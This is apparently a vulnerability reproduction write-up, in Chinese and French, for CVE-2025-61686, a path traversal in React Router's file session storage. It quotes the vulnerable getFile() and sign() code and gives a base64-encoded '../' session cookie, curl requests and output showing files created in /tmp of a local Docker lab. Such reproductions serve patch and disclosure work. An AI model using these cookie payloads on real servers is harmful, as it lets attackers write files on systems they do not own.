
CVE-2025-61686复现的dockerfile与poc
docker-compose up --build
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
En comparant les versions vulnérables 7.9.3 et 7.9.4, on peut constater que la cause principale est un problème dans le traitement de la session au niveau de la fonction getFile() du fichier react-router/packages/react-router-node/sessions/fileStorage.ts.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
Ici, les 4 premiers caractères de la session sont utilisés comme nom de dossier, et les caractères suivants comme nom de fichier. Ainsi, un attaquant peut facilement réaliser une traversée de chemin en utilisant la méthode suivante, ce qui explique pourquoi l'avis de vulnérabilité indique que lorsque la session n'utilise pas de secret, il est aisé d'effectuer une traversée de répertoire. Bien sûr, si l'attaquant parvient à obtenir le secret utilisé pour chiffrer la session, il peut également construire la charge utile de traversée correspondante.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
Si l'on a obtenu le secret, on peut se référer à la fonction sign() pour signer le poc avec le secret.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
Envoyer la requête avec la session générée
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
Confirmer le déclenchement de la vulnérabilité
root@eb8750bd4a56:/tmp# ls
flowerwitch
Script de génération de signature use_secret_create_payload.js